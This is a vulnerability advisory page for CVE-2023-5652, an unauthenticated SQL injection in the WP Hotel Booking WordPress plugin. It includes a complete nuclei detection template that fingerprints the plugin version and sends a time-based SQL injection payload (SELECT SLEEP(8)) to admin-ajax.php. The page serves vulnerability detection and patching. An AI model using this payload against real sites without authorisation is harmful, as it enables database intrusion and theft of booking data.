WP Hotel Booking <= 2.0.7 - SQL Injection

criticalseverity

9.8CVSS score

63.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

WP Hotel Booking WordPress plugin before 2.0.8 contains a SQL injection caused by lack of authorization, CSRF checks, and input escaping in a function hooked to admin_init, letting unauthenticated users perform SQL injections, exploit requires no authentication.

Impact

Unauthenticated attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.

Fix

Update to version 2.0.8 or later.

How to confirm it

Send: GET /wp-content/plugins/wp-hotel-booking/readme.txt
Positive when: compare_versions(version, "<= 2.0.7") and contains(body, "WP Hotel Booking") and status_code == 200
Send: @timeout: 30s
Positive when: duration>=8 and regex("^0$", body) and status_code == 400 and contains(content_type, "text/html")

Run it with nuclei: nuclei -id CVE-2023-5652 -u <target>

The full check

id: CVE-2023-5652

info:
  name: WP Hotel Booking <= 2.0.7 - SQL Injection
  author: Shivam Kamboj,s4e-io
  severity: critical
  description: |
    WP Hotel Booking WordPress plugin before 2.0.8 contains a SQL injection caused by lack of authorization, CSRF checks, and input escaping in a function hooked to admin_init, letting unauthenticated users perform SQL injections, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
  remediation: |
    Update to version 2.0.8 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-hotel-booking/wp-hotel-booking-207-unauthenticated-sql-injection
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5652
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-5652
    epss-score: 0.63711
    epss-percentile: 0.99224
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,wp-hotel-booking,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-hotel-booking/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "<= 2.0.7")'
          - 'contains(body, "WP Hotel Booking")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - "(?mi)Stable tag: ([0-9.]+)"
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=x&taxonomy=hb_room_type&hb_room_type_ordering[1]=0 END, name=(SELECT SLEEP(8)), term_id=CASE when 1=1 THEN 1

    matchers:
      - type: dsl
        dsl:
          - 'duration>=8'
          - 'regex("^0$", body)'
          - 'status_code == 400'
          - 'contains(content_type, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from